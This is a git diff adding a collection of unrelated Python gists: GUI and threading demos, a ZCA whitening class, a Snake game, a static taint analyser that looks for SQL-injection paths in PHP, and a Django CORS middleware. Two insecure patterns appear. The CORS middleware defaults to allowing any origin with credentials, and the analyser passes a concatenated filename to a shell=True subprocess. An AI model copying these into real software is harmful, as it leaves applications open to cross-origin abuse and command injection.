+    os.chdir(os.path.dirname(__file__))
+    app = default_app()
+    application = sae.create_wsgi_app(app)
diff --git a/hard-gists/5167728/._snippet.py b/hard-gists/5167728/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5167728/._snippet.py differ
diff --git a/hard-gists/5167728/snippet.py b/hard-gists/5167728/snippet.py
new file mode 100644
index 00000000..4a244466
--- /dev/null
+++ b/hard-gists/5167728/snippet.py
@@ -0,0 +1,53 @@
+from PySide import QtGui, QtCore
+
+
+def findDagWidget():
+   stack = QtGui.QApplication.topLevelWidgets()
+   while stack:
+       widget = stack.pop()
+       if widget.windowTitle() == 'Node Graph':
+           # You should probably be a little safer with this return, but the actual DAG widget
+           # seems to be here consistently... if not, it should be the only child of 'widget'
+           # that's a QWidget instance.
+           return widget.children()[-1]
+       stack.extend(c for c in widget.children() if c.isWidgetType())
+
+
+class PaintFilter(QtCore.QObject):
+    def scribble(self, obj, event):
+        qp = QtGui.QPainter()
+        qp.begin(obj)
+        qp.setPen(QtGui.QColor(168, 34, 3))
+        qp.setFont(QtGui.QFont('Decorative', 10))
+        qp.drawText(event.rect(), QtCore.Qt.AlignCenter, "Hurray")        
+        qp.end()
+
+    def eventFilter(self, obj, event):
+        if event.type() == QtCore.QEvent.Paint:
+            # Call DAG paint event
+            obj.paintEvent(event)
+            # Do custom painting
+            self.scribble(obj, event)
+            return True
+
+        return QtCore.QObject.eventFilter(obj, obj, event)
+
+
+dag = findDagWidget()
+
+"""
+# Render DAG widget into an image
+image = QtGui.QImage(dag.size(), QtGui.QImage.Format_RGB32)
+dag.repaint()
+dag.render(image)
+image.save("/tmp/test.png")
+"""
+
+# Remove old event filter
+# FIXME: Debug'y thing, for iteration in script editor
+try: dag.removeEventFilter(thing)
+except: pass
+
+# Install event filter
+thing=PaintFilter()
+dag.installEventFilter(thing)
diff --git a/hard-gists/51686/._snippet.py b/hard-gists/51686/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/51686/._snippet.py differ
diff --git a/hard-gists/51686/snippet.py b/hard-gists/51686/snippet.py
new file mode 100644
index 00000000..e063d341
--- /dev/null
+++ b/hard-gists/51686/snippet.py
@@ -0,0 +1,193 @@
+# Demo application showing how once can combine the python
+# threading module with GObject signals to make a simple thread
+# manager class which can be used to stop horrible blocking GUIs.
+#
+# (c) 2008, John Stowers <john.stowers@gmail.com>
+#
+# This program serves as an example, and can be freely used, copied, derived
+# and redistributed by anyone. No warranty is implied or given.
+import gtk
+import gobject
+gobject.threads_init()
+
+import threading
+import time
+import random
+
+class _IdleObject(gobject.GObject):
+    """
+    Override gobject.GObject to always emit signals in the main thread
+    by emmitting on an idle handler
+    """
+    def __init__(self):
+        gobject.GObject.__init__(self)
+
+    def emit(self, *args):
+        gobject.idle_add(gobject.GObject.emit,self,*args)
+
+class _FooThread(threading.Thread, _IdleObject):
+    """
+    Cancellable thread which uses gobject signals to return information
+    to the GUI.
+    """
+    __gsignals__ =  { 
+            "completed": (
+                gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, []),
+            "progress": (
+                gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, [
+                gobject.TYPE_FLOAT])        #percent complete
+            }
+
+    def __init__(self, *args):
+        threading.Thread.__init__(self)
+        _IdleObject.__init__(self)
+        self.cancelled = False
+        self.data = args[0]
+        self.name = args[1]
+        self.setName("%s" % self.name)
+
+    def cancel(self):
+        """
+        Threads in python are not cancellable, so we implement our own
+        cancellation logic
+        """
+        self.cancelled = True
+
+    def run(self):
+        print "Running %s" % str(self)
+        for i in range(self.data):
+            if self.cancelled:
+                break
+            time.sleep(0.1)
+            self.emit("progress", i/float(self.data)*100)            
+        self.emit("completed")
+
+class FooThreadManager:
+    """
+    Manages many FooThreads. This involves starting and stopping
+    said threads, and respecting a maximum num of concurrent threads limit
+    """
+    def __init__(self, maxConcurrentThreads):
+        self.maxConcurrentThreads = maxConcurrentThreads
+        #stores all threads, running or stopped
+        self.fooThreads = {}
+        #the pending thread args are used as an index for the stopped threads
+        self.pendingFooThreadArgs = []
+
+    def _register_thread_completed(self, thread, *args):
+        """
+        Decrements the count of concurrent threads and starts any 
+        pending threads if there is space
+        """
+        del(self.fooThreads[args])
+        running = len(self.fooThreads) - len(self.pendingFooThreadArgs)
+
+        print "%s completed. %s running, %s pending" % (
+                            thread, running, len(self.pendingFooThreadArgs))
+
+        if running < self.maxConcurrentThreads:
+            try:
+                args = self.pendingFooThreadArgs.pop()
+                print "Starting pending %s" % self.fooThreads[args]
+                self.fooThreads[args].start()
+            except IndexError: pass
+
+    def make_thread(self, completedCb, progressCb, userData,  *args):
+        """
+        Makes a thread with args. The thread will be started when there is
+        a free slot
+        """
+        running = len(self.fooThreads) - len(self.pendingFooThreadArgs)
+
+        if args not in self.fooThreads:
+            thread = _FooThread(*args)
+            #signals run in the order connected. Connect the user completed
+            #callback first incase they wish to do something 
+            #before we delete the thread
+            thread.connect("completed", completedCb, userData)
+            thread.connect("completed", self._register_thread_completed, *args)
+            thread.connect("progress", progressCb, userData)
+            #This is why we use args, not kwargs, because args are hashable
+            self.fooThreads[args] = thread
+
+            if running < self.maxConcurrentThreads:
+                print "Starting %s" % thread
+                self.fooThreads[args].start()
+            else:
+                print "Queing %s" % thread
+                self.pendingFooThreadArgs.append(args)
+
+    def stop_all_threads(self, block=False):
+        """
+        Stops all threads. If block is True then actually wait for the thread
+        to finish (may block the UI) 
+        """
+        for thread in self.fooThreads.values():
+            thread.cancel()
+            if block:
+                if thread.isAlive():
+                    thread.join()
+
+class Demo:
+    def __init__(self):
+        #build the GUI
+        win = gtk.Window()
+        win.connect("delete_event", self.quit)
+        box = gtk.VBox(False,4)
+        win.add(box)
+        addButton = gtk.Button("Add Thread")
+        addButton.connect("clicked",self.add_thread)
+        box.pack_start(addButton,False,False)
+        stopButton = gtk.Button("Stop All Threads")
+        stopButton.connect("clicked",self.stop_threads)
+        box.pack_start(stopButton,False,False)
+
+        #display threads in a treeview
+        self.pendingModel = gtk.ListStore(gobject.TYPE_STRING,gobject.TYPE_INT)
+        self.completeModel = gtk.ListStore(gobject.TYPE_STRING)
+        self._make_view(self.pendingModel, "Pending Threads", True, box)
+        self._make_view(self.completeModel,"Completed Threads", False, box)
+
+        #THE ACTUAL THREAD BIT
+        self.manager = FooThreadManager(3)
+
+        #Start the demo
+        win.show_all()
+        gtk.main()
+
+    def _make_view(self, model, title, showProgress, vbox):
+        view = gtk.TreeView(model)
+        view.append_column(gtk.TreeViewColumn(title, gtk.CellRendererText(), text=0))
+        if showProgress:
+            view.append_column(gtk.TreeViewColumn("Progress", gtk.CellRendererProgress(), value=1))
+        vbox.pack_start(view)
+
+    def quit(self, sender, event):
+        self.manager.stop_all_threads(block=True)
+        gtk.main_quit()
+
+    def stop_threads(self, *args):
+        #THE ACTUAL THREAD BIT
+        self.manager.stop_all_threads()
+
+    def add_thread(self, sender):
+        #make a thread and start it
+        data = random.randint(20,60)
+        name = "Thread #%s" % random.randint(0,1000)
+        rowref = self.pendingModel.insert(0,(name,0)) 
+        
+        #THE ACTUAL THREAD BIT
+        self.manager.make_thread(
+                        self.thread_finished,
+                        self.thread_progress,
+                        rowref,data,name)
+
+    def thread_finished(self, thread, rowref):
+        self.pendingModel.remove(rowref)
+        self.completeModel.insert(0,(thread.name,))
+
+    def thread_progress(self, thread, progress, rowref):
+        self.pendingModel.set_value(rowref,1,int(progress))
+
+if __name__ == "__main__":
+    demo = Demo()
diff --git a/hard-gists/5170087/._snippet.py b/hard-gists/5170087/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5170087/._snippet.py differ
diff --git a/hard-gists/5170087/snippet.py b/hard-gists/5170087/snippet.py
new file mode 100644
index 00000000..b49ee02f
--- /dev/null
+++ b/hard-gists/5170087/snippet.py
@@ -0,0 +1,28 @@
+import numpy as np
+from scipy import linalg
+from sklearn.utils import array2d, as_float_array
+from sklearn.base import TransformerMixin, BaseEstimator
+
+
+class ZCA(BaseEstimator, TransformerMixin):
+
+    def __init__(self, regularization=10**-5, copy=False):
+        self.regularization = regularization
+        self.copy = copy
+
+    def fit(self, X, y=None):
+        X = array2d(X)
+        X = as_float_array(X, copy = self.copy)
+        self.mean_ = np.mean(X, axis=0)
+        X -= self.mean_
+        sigma = np.dot(X.T,X) / X.shape[1]
+        U, S, V = linalg.svd(sigma)
+        tmp = np.dot(U, np.diag(1/np.sqrt(S+self.regularization)))
+        self.components_ = np.dot(tmp, U.T)
+        return self
+
+    def transform(self, X):
+        X = array2d(X)
+        X_transformed = X - self.mean_
+        X_transformed = np.dot(X_transformed, self.components_.T)
+        return X_transformed
\ No newline at end of file
diff --git a/hard-gists/5173293/._snippet.py b/hard-gists/5173293/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5173293/._snippet.py differ
diff --git a/hard-gists/5173293/snippet.py b/hard-gists/5173293/snippet.py
new file mode 100644
index 00000000..7992b6a1
--- /dev/null
+++ b/hard-gists/5173293/snippet.py
@@ -0,0 +1,551 @@
+from phply.phpparse import parser
+import phply.phplex as phplex
+from phply.phpast   import *
+import sys
+import copy
+import os.path
+import pickle
+import subprocess
+import traceback
+
+DEFINES = {}
+DEFINES["PUN_ROOT"] = '/home/endeavor/sources/fluxbb-1.5.0/'
+
+def load_and_parse (filename) :
+    # unfortunately the parser throws weird errors when we parse
+    # different files with the same parser. This is a hack around
+    # that problem
+    if os.path.isfile('cache/' + filename) :
+        fh = open('cache/' + filename, 'r')
+        out = fh.read()
+        fh.close()
+    else :
+        proc = subprocess.Popen('python2 ./pickleast.py ' + filename, shell=True, stdout=subprocess.PIPE)
+        out, err = proc.communicate()
+
+        if not os.path.exists('cache/' + os.path.dirname(filename)) :
+            os.makedirs('cache/' + os.path.dirname(filename))
+        fh = open('cache/' + filename, 'w')
+        fh.write(out)
+        fh.close()
+    
+    ast = pickle.loads(out)
+
+    return ast
+
+def analyze (ast, filename) :
+
+    DEBUG = False
+
+    '''
+    for a in ast :
+        print a
+    '''
+
+    INPUT_ARRAYS = [
+        '$_GET',
+        '$_POST'
+    ]
+
+    SANITATION_FUNCTIONS = [
+        'intval',
+        'escape',
+        'pun_htmlspecialchars'
+    ]
+
+    TARGET_FUNCTIONS = [
+        'query'
+    ]
+
+    class State :
+        def __init__ (self) :
+            # this variable is set if we change the value of self.tainted
+            self.tainted_changed  = False
+            # contains identifiers of variables that possibly contain taint
+            self.tainted          = []
+            # all the functions that are called are included here, once each
+            self.functions_called = []
+            # not used
+            self.trace            = []
+            # when functions are declared, we store them here so we can call
+            # them later
+            self.functions        = {}
+            # this can be set anywhere to signal this fork needs to die
+            self.halt             = False
+            # we try to keep track of some variable values so we can include
+            # additional sources on-the-fly
+            self.variables        = {}
+            # a list of the files that have been included
+            self.included         = []
+
+        def set_tainted (self, value) :
+            if value not in self.tainted :
+                self.tainted.append(value)
+                self.tainted_changed = True
+
+        def unset_tainted (self, value) :
+            if value in self.tainted :
+                self.tainted_changed = True
+                del self.tainted[self.tainted.index(value)]
+
+
+    def clone_state (state) :
+        new_state = copy.deepcopy(state)
+        new_state.tainted_changed = False
+        return new_state
+
+
+    global forks
+    forks = 1
+
+    # returns True if execution must halt
+    def statements (state, ss) :
+        global forks
+
+        if forks % 1000 == 0 :
+            print 'forks: ', forks
+
+        if ss == None :
+            return
+
+        if not isinstance(ss, list) :
+            ss = [ss]
+
+        for si in range(len(ss)) :
+            s = ss[si]
+
+            if s == None :
+                pass
+
+            elif isinstance(s, FunctionCall) :
+                if DEBUG :
+                    print 'STATEMENT FUNCTIONCALL', s.name
+                eval(state, s)
+
+            elif isinstance(s, Function) :
+                if DEBUG :
+                    print 'STATEMENT FUNCTION', s.name
+                function(state, s)
+
+            elif isinstance(s, Return) :
+                if eval(state, s.node) :
+                    return 'TAINT'
+                return 'CLEAN'
+
+            elif isinstance(s, MethodCall) :
+                if DEBUG :
+                    print 'STATEMENT METHODCALL'
+                eval(state, s)
+
+            elif isinstance(s, Include) :
+                if DEBUG :
+                    print 'INCLUDE'
+                if eval(state, s.expr) :
+                    print 'TAINTED INCLUDE'
+                filename_ = eval2(state, s.expr)
+                filename_ = os.path.dirname(filename) + '/' + filename_
+                if os.path.isfile(filename_) :
+                    state.included.append(filename_)
+                    ast = load_and_parse(filename_)
+                    statements(state, ast)
+                    #print 'included file:', filename_
+                else :
+                    print 'could not include', s.expr, eval2(state, s.expr)
+
+            elif isinstance(s, Global) :
+                pass
+
+            elif isinstance(s, Silence) :
+                if statements(state, s.expr) :
+                    return True
+
+            elif isinstance(s, Exit) :
+                if DEBUG :
+                    print 'STATEMENT EXIT'
+                #return True
+
+            elif isinstance(s, Require) :
+                filename_ = eval2(state, s.expr)
+                if filename_[0] != '/' :
+                    filename_ = os.path.dirname(filename) + '/' + filename_
+                if     os.path.isfile(filename_) \
+                   and (not s.once or filename_ not in state.included) :
+                    state.included.append(filename_)
+                    ast = load_and_parse(filename_)
+                    statements(state, ast)
+                    #print 'required file:', filename_
+
+            elif isinstance(s, If) :
+                if DEBUG :
+                    print 'STATEMENT IF'
+                # Handle if case. We fork for each possible branch taken
+                forks += 1
+                new_state = clone_state(state)
+                if not statements(new_state, s.node) and new_state.tainted_changed :
+                    statements(new_state, ss[si+1:])
+                    
+                for elseif in s.elseifs :
+                    forks += 1
+                    new_state = clone_state(state)
+                    if not statements(new_state, elseif.node) and new_state.tainted_changed :
+                        statements(new_state, ss[si+1:])
+
+                if hasattr(s.else_, 'nodes') and statements(state, s.else_.nodes) :
+                    return True
+                elif hasattr(s.else_, 'node') and statements(state, s.else_.node) :
+                    return True
+
+            elif isinstance(s, Block) :
+                if DEBUG :
+                    print 'STATEMENT BLOCK'
+                if statements(state, s.nodes) :
+                    return True
+
+            elif isinstance(s, Assignment) :
+                if DEBUG :
+                    print 'STATEMENT ASSIGNMENT'
+                assign(state, s)
+
+            elif isinstance(s, AssignOp) :
+                if DEBUG :
+                    print 'STATEMENT ASSIGNOP'
+                assignop(state, s)
+
+            elif isinstance(s, BinaryOp) and s.op == 'or' :
+                if DEBUG :
+                    print 'STATEMENT OR'
+                # handle both cases
+                new_state = clone_state(state)
+                if not statements(new_state, s.left) and new_state.tainted_changed :
+                    statements(new_state, ss[si+1:])
+                forks += 1
+
+                if statements(state, s.right) :
+                    return True
+
+            elif isinstance(s, Unset) :
+                if DEBUG :
+                    print 'STATEMENT UNSET'
+                unset(state, s)
+
+            elif isinstance(s, Switch) :
+                if DEBUG :
+                    print 'STATEMENT SWITCH'
+                for node in s.nodes :
+                    forks += 1
+                    new_state = clone_state(state)
+                    if not statements(new_state, node.nodes) and new_state.tainted_changed :
+                        statements(new_state, ss[si+1:])
+                return False
+
+            elif isinstance(s, Break) :
+                if DEBUG :
+                    print 'STATEMENT BREAK'
+                pass
+
+            elif isinstance(s, Static) :
+                if DEBUG :
+                    print 'STATEMENT STATIC'
+                pass
+
+            elif isinstance(s, Class) :
+                if DEBUG :
+                    print 'STATEMENT CLASS'
+                pass
+
+            elif isinstance(s, Interface) :
+                if DEBUG :
+                    print 'STATEMENT INTERFACE'
+                pass
+
+            elif isinstance(s, While) :
+                if DEBUG :
+                    print 'STATEMENT WHILE'
+                statements(state, s.node)
+
+            elif isinstance(s, For) :
+                if DEBUG :
+                    print 'STATEMENT FOR'
+                statements(state, s.node)
+
+            elif isinstance(s, Foreach) :
+                if DEBUG :
+                    print 'STATEMENT FOREACH'
+                statements(state, s.node)
+
+            elif isinstance(s, InlineHTML) :
+                if DEBUG :
+                    print 'STATEMENT INLINEHTML'
+                pass
+
+            elif isinstance(s, PreIncDecOp) :
+                if DEBUG :
+                    print 'STATEMENT PREINCDECOP'
+                pass
+
+            elif isinstance(s, PostIncDecOp) :
+                if DEBUG :
+                    print 'STATEMENT POSTINCDECOP'
+                pass
+
+            elif isinstance(s, Echo) :
+                if DEBUG :
+                    print 'STATEMENT ECHO'
+                echo(state, s)
+
+            elif isinstance(s, ListAssignment) :
+                if DEBUG :
+                    print 'STATEMENT LISTASSIGNMENT'
+                pass
+
+            elif isinstance(s, Continue) :
+                if DEBUG :
+                    print 'STATEMENT CONTINUE'
+                pass
+
+            else :
+                print 'invalid statement'
+                print s
+                help(s)
+                sys.exit(-1)
+        return False
+
+    def echo (state, s) :
+        # nodes
+        if eval(state, s.nodes) :
+            'tainted echo'
+        return
+
+
+    def unset (state, u) :
+        # nodes
+        return
+
+
+    def assignop (state, a) :
+        identifier = str(a.left)
+        if eval(state, a.left) or eval(state, a.right) :
+            state.set_tainted(identifier)
+
+
+    def assign (state, a) :
+        identifier = get_name(state, a.node)
+        if eval(state, a.expr) :
+            state.set_tainted(identifier)
+        else :
+            state.unset_tainted(identifier)
+
+
+    def function_call (state, name, params) :
+        if name not in state.functions_called :
+            state.functions_called.append(name)
+
+        if name == 'define' :
+            identifier = eval2(state, params[0].node)
+            value      = eval2(state, params[1].node)
+            state.variables[identifier] = value
+
+        if name in TARGET_FUNCTIONS :
+            for param in params :
+                if eval(state, param.node) :
+                    print 'function : ', name
+                    print 'parameter: ', get_name(state, param.node)
+                    print 'tainted  : ', state.tainted
+
+        if name in state.functions :
+            f = state.functions[name]
+            tainted_save  = copy.deepcopy(state.tainted)
+            tainted_child = []
+            for i in range(len(params)) :
+                if eval(state, params[i].node) :
+                    tainted_child.append(str(f.params[i].name))
+            state.tainted = tainted_child
+            # True = Halt
+            # 'TAINT' = result is tainted
+            # 'CLEAN' = result is clean
+            result = statements(state, f.nodes)
+            state.tainted = tainted_save
+            if result == True :
+                state.halt = True
+            elif result == 'TAINT' :
+                return True
+
+        return False
+
+
+    def function (state, f) :
+        state.functions[f.name] = f
+
+
+    def get_name (state, t) :
+        if isinstance(t, str) :
+            return t
+        if isinstance(t, float) :
+            return str(t)
+        if isinstance(t, list) :
+            for l in t :
+                if get_name(state, l) :
+                    return get_name(state, l)
+            return False
+        if isinstance(t, ArrayElement) :
+            return False
+        if isinstance(t, Variable) :
+            return t.name
+        if isinstance(t, Array) :
+            return get_name(state, t.nodes)
+        if isinstance(t, FunctionCall) :
+            return t.name
+        if isinstance(t, MethodCall) :
+            return t.name
+        if isinstance(t, Constant) :
+            return False
+        if isinstance(t, TernaryOp) :
+            return False
+        if isinstance(t, Assignment) :
+            return get_name(state, t.expr)
+        if isinstance(t, BinaryOp) :
+            if t.op == '.' :
+                return str(get_name(state, t.left)) + str(get_name(state, t.right))
+            return False
+        if isinstance(t, ArrayOffset) :
+            return get_name(state, t.node)
+        return str(t)
+
+
+    # returns True if taint possible
+    # False otherwise
+    def eval (state, e) :
+
+        if e == None :
+            return False
+
+        elif isinstance(e, str) :
+            return False
+
+        elif isinstance(e, Cast) :
+            return False
+
+        elif isinstance(e, int) :
+            return False
+
+        elif isinstance(e, float) :
+            return False
+
+        elif isinstance(e, list) :
+            for f in e :
+                if eval(state, f) :
+                    return True
+            return False
+
+        elif isinstance(e, MagicConstant) :
+            return False
+
+        elif isinstance(e, Variable) :
+            if get_name(state, e) in state.tainted or get_name(state, e) in INPUT_ARRAYS :
+                return True
+            else :
+                return False
+            return # name
+
+        elif isinstance(e, ArrayOffset) :
+            return eval(state, e.node)
+
+        elif isinstance(e, Constant) :
+            return False
+
+        elif isinstance(e, Array) :
+            for node in e.nodes :
+                if eval(state, node) :
+                    return True
+            return False
+
+        elif isinstance(e, Silence) :
+            return eval(state, e.expr)
+
+        elif isinstance(e, Assignment) :
+            assign(state, e)
+            return eval(state, e.expr)
+
+        elif isinstance(e, ObjectProperty) :
+            return False
+
+        elif isinstance(e, ArrayElement) :
+            # e.key, e.value
+            return eval(state, e.value)
+
+        elif isinstance(e, UnaryOp) :
+            if e.op == '-' :
+                return eval(state, e.expr)
+
+        elif isinstance(e, PostIncDecOp) :
+            return eval(state, e.expr)
+
+        elif isinstance(e, IsSet) :
+            return False
+
+        elif isinstance(e, New) :
+            return False
+
+        elif isinstance(e, MethodCall) :
+            # node, name, params ($node->name(params))
+            return function_call(state, e.name, e.params)
+
+        elif isinstance(e, StaticMethodCall) :
+            return function_call(state, e.name, e.params)
+
+        elif isinstance(e, BinaryOp) :
+            if e.op == '.' or e.op == '*' or e.op == '-' or e.op == '+' \
+            or e.op == '==' or e.op == '&&' or e.op == '||' or e.op == '>' \
+            or e.op == '^' or e.op == '/' :
+                return eval(state, e.left) or eval(state, e.right)
+
+        elif isinstance(e, FunctionCall) :
+            return function_call(state, e.name, e.params)
+
+        elif isinstance(e, TernaryOp) :
+            return eval(state, e.iftrue) or eval(state, e.iffalse)
+
+        print 'invalid expression'
+        print e
+        print help(e)
+        sys.exit(-1)
+
+    def function_call2 (state, f) :
+        if f.name == 'dirname' :
+            return os.path.dirname(eval2(state, f.params[0].node))
+
+    # eval2 is used for setting state.variables
+    def eval2 (state, e) :
+        if str(e) in DEFINES :
+            return DEFINES[str(e)]
+        if isinstance(e, str) :
+            return e
+        elif isinstance(e, FunctionCall) :
+            return function_call2(state, e)
+        elif isinstance(e, int) :
+            return e
+        elif isinstance(e, BinaryOp) and e.op == '.' :
+            return eval2(state, e.left) + eval2(state, e.right)
+        elif isinstance(e, MagicConstant) :
+            if e.name == '__FILE__' :
+                return filename
+        elif isinstance(e, Constant) :
+            if e.name in state.variables :
+                return state.variables[e.name]
+            elif e.name in DEFINES :
+                return DEFINES[e.name]
+
+        return ''
+
+    statements(State(), ast)
+    print 'forks: ', forks
+
+
+if len(sys.argv) < 2 :
+    ast = parser.parse(sys.stdin.read(), lexer=lexer)
+    analyze(ast, '')
+
+else :
+    print '======================================'
+    print 'ANALYZING: ', os.path.abspath(sys.argv[1])
+    analyze(load_and_parse(sys.argv[1]), os.path.abspath(sys.argv[1]))
\ No newline at end of file
diff --git a/hard-gists/5177683/._snippet.py b/hard-gists/5177683/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5177683/._snippet.py differ
diff --git a/hard-gists/5177683/snippet.py b/hard-gists/5177683/snippet.py
new file mode 100644
index 00000000..aa1fdd4e
--- /dev/null
+++ b/hard-gists/5177683/snippet.py
@@ -0,0 +1,23 @@
+from django.http import HttpResponse
+from django.conf import settings
+
+CORS_ALLOW_ORIGIN = getattr(settings, 'CORS_ALLOW_ORIGIN', '*')
+CORS_ALLOW_METHODS = getattr(settings, 'CORS_ALLOW_METHODS', ['POST', 'GET', 'PUT', 'DELETE', 'OPTIONS'])
+CORS_ALLOW_HEADERS = getattr(settings, 'CORS_ALLOW_HEADERS', ['content-type', 'authorization'])
+CORS_ALLOW_CREDENTIALS = getattr(settings, 'CORS_ALLOW_CREDENTIALS', True)
+
+class CorsMiddleware(object):
+    def _set_headers(self, response):
+        response['Access-Control-Allow-Origin'] = CORS_ALLOW_ORIGIN
+        response['Access-Control-Allow-Methods'] = ','.join(CORS_ALLOW_METHODS)
+        response['Access-Control-Allow-Headers'] = ','.join(CORS_ALLOW_HEADERS)
+        response['Access-Control-Allow-Credentials'] = 'true' if CORS_ALLOW_CREDENTIALS else 'false'
+
+        return response
+
+    def process_request(self, request):
+        if 'HTTP_ACCESS_CONTROL_REQUEST_METHOD' in request.META:
+            return self._set_headers(HttpResponse())
+
+    def process_response(self, request, response):
+        return self._set_headers(response)
\ No newline at end of file
diff --git a/hard-gists/5181631/._snippet.py b/hard-gists/5181631/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5181631/._snippet.py differ
diff --git a/hard-gists/5181631/snippet.py b/hard-gists/5181631/snippet.py
new file mode 100644
index 00000000..f565e620
--- /dev/null
+++ b/hard-gists/5181631/snippet.py
@@ -0,0 +1,99 @@
+import os, time, random
+from collections import defaultdict
+from System import Console, ConsoleColor, ConsoleKey
+from System.Threading import Thread, ThreadStart
+
+class Screen(object):
+    red = ConsoleColor.Red; green = ConsoleColor.Green; blue = ConsoleColor.Blue;black = ConsoleColor.Black
+    dimension = (21,39)
+    def __update_input(self):
+        mapping = defaultdict(lambda: None, 
+                              {ConsoleKey.A:Snake.left,ConsoleKey.J:Snake.left, ConsoleKey.LeftArrow:Snake.left,
+                               ConsoleKey.D:Snake.right,ConsoleKey.L:Snake.right,ConsoleKey.RightArrow:Snake.right,
+                               ConsoleKey.W:Snake.up,ConsoleKey.I:Snake.up,ConsoleKey.UpArrow:Snake.up,
+                               ConsoleKey.S:Snake.down,ConsoleKey.K:Snake.down,ConsoleKey.DownArrow:Snake.down})
+        while True: self.last_input = mapping[Console.ReadKey(True).Key]
+    def __init__(self):
+        self.last_input = None; self.__input_update_thread = Thread(ThreadStart(self.__update_input)); self.__input_update_thread.Start()
+        os.system("cls") # os.system("clear")
+        Console.Title = "Snake by LuYU426"
+        # The next line needed to be commented out on Unix-like systems. However before running, the console needs to be adjusted accordingly 
+        Console.CursorVisible = False; Console.WindowWidth = 80; Console.WindowHeight = 25;Console.BufferHeight = Console.WindowHeight; Console.BufferWidth = Console.WindowWidth
+        for i in range(0,24):
+            for j in range(0, 80):
+                if i == 0 or j == 0: self.__show(j, i, Screen.black, "#")
+                elif i == 22 or j == 79: self.__show(j, i, Screen.black,"#")
+                else: self.__show(j, i, Screen.black," ")
+    def __show(self,left,top,color,content): Console.CursorLeft = left; Console.CursorTop = top; Console.BackgroundColor = color; Console.Write(content)
+    def show_score(self,score): self.__show(3,23,Screen.black,"Score:  {0}".format(score))
+    def color(self, position, width, height, color):
+        for row in range(position[0], position[0] + height):
+            for col in range(position[1], position[1] + width):
+                self.__show(col * 2 + 1,row + 1,color,"  ")
+
+class GameLogic(object):
+    def update(self, screen, snake, fruit, stats):
+        stats.increase_score()
+        screen.show_score(stats.current_score) 
+        update_result = snake.update(screen.last_input,fruit.current_position)
+        if update_result[0] == False: return True
+        if update_result[1] == True: return False
+        if update_result[2][0] < 0 or update_result[2][1] < 0: return False
+        if update_result[2][0] >= Screen.dimension[0] or update_result[2][1] >= Screen.dimension[1]: return False
+        screen.color(update_result[2],1,1,screen.green)
+        if update_result[3] is None:
+            fruit.reset_position()
+            while snake.position_in_buffer(fruit.current_position): fruit.reset_position()
+            screen.color(fruit.current_position,1,1,screen.red)
+            stats.increase_level()
+        else: screen.color(update_result[3],1,1,screen.black)
+        return True
+    def end(self): screen.color((0,0),39,21,Screen.blue)
+
+class Snake(object):
+    up = 0x00; down = 0x01; left = 0x10; right = 0x11
+    def __init__(self): 
+        self.__buffer = list(); self.__current_time_slice = 0
+        self.__buffer = [[Screen.dimension[0]/2 + 1,Screen.dimension[1]/2 + 1]]
+        self.__current_direction = Snake.up
+    def __current_speed(self):
+        _s = 8 - len(self.__buffer)/2
+        return 1 if _s < 1 else _s
+    def position_in_buffer(self, fruit_pos): 
+        for item in self.__buffer:
+            if item == fruit_pos:
+                return True
+        return False
+    # returns [whether_need_update_screen(bool), whether_fail(bool), head_pos_to_draw(x,y), tail_pos_to_remove(x,y)]
+    def update(self, direction, fruit_pos): 
+        self.__current_time_slice += 1
+        self.__current_time_slice %= self.__current_speed()
+        if self.__current_time_slice != 0: return [False, False]
+        if direction is None: direction = self.__current_direction
+        if direction ^ self.__current_direction == 0x01: direction = self.__current_direction
+        self.__current_direction = direction; candidate = [0, 0]; head = self.__buffer[len(self.__buffer) - 1]
+        candidate[0] = head[0] + 1 if self.__current_direction == Snake.down else head[0] - 1 if self.__current_direction == Snake.up else head[0]
+        candidate[1] = head[1] + 1 if self.__current_direction == Snake.right else head[1] - 1 if self.__current_direction == Snake.left else head[1]
+        if self.position_in_buffer(candidate): return [True, True]
+        if candidate == fruit_pos: self.__buffer.append(candidate); return [True, False, candidate, None]
+        else:
+            self.__buffer.append(candidate); tail = self.__buffer[0]; self.__buffer.remove(tail)
+            return [True, False, candidate, tail]
+
+class Fruit(object):
+    def __init__(self): self.reset_position()
+    @property
+    def current_position(self): return self.__position
+    def reset_position(self): self.__position = [random.randint(0,Screen.dimension[0]-1),random.randint(0,Screen.dimension[1]-1)]
+
+class Stastics(object):
+    def __init__(self): self.current_score = 0; self.__level = 0
+    def increase_score(self): self.current_score += 1
+    def increase_level(self): self.__level += 1; self.current_score += pow(2,self.__level-1)
+
+if __name__ == "__main__":
+    screen = Screen(); logic = GameLogic(); stats = Stastics(); fruit = Fruit(); snake = Snake()
+    while snake.position_in_buffer(fruit.current_position): fruit.reset_position()
+    screen.color(fruit.current_position,1,1,screen.red)
+    while logic.update(screen, snake, fruit, stats): time.sleep(0.05)
+    logic.end()
\ No newline at end of file
diff --git a/hard-gists/5182378/._snippet.py b/hard-gists/5182378/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5182378/._snippet.py differ
diff --git a/hard-gists/5182378/snippet.py b/hard-gists/5182378/snippet.py
new file mode 100644
index 00000000..4adbbc89
--- /dev/null
+++ b/hard-gists/5182378/snippet.py
@@ -0,0 +1,15 @@
+# Script posted at: http://n8henrie.com/2013/02/quickly-import-pythonista-scripts-via-textexpander-or-bookmarklet
+# Script name: Import Pythonista Script from Clipboard
+
+# I got help from here: http://twolivesleft.com/Codea/Talk/discussion/1652/what-others-do%3A-pythonista/p1
+# I got help from here: http://www.macdrifter.com/2012/09/pythonista-trick-url-to-markdown.html
+
+import clipboard
+import urllib2
+import editor
+import os
+
+url = clipboard.get()
+scriptName = os.path.basename(url)
+contents = urllib2.urlopen(url).read()
+editor.make_new_file(scriptName[:-3], contents)
\ No newline at end of file
diff --git a/hard-gists/5182379/._snippet.py b/hard-gists/5182379/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5182379/._snippet.py differ
diff --git a/hard-gists/5182379/snippet.py b/hard-gists/5182379/snippet.py
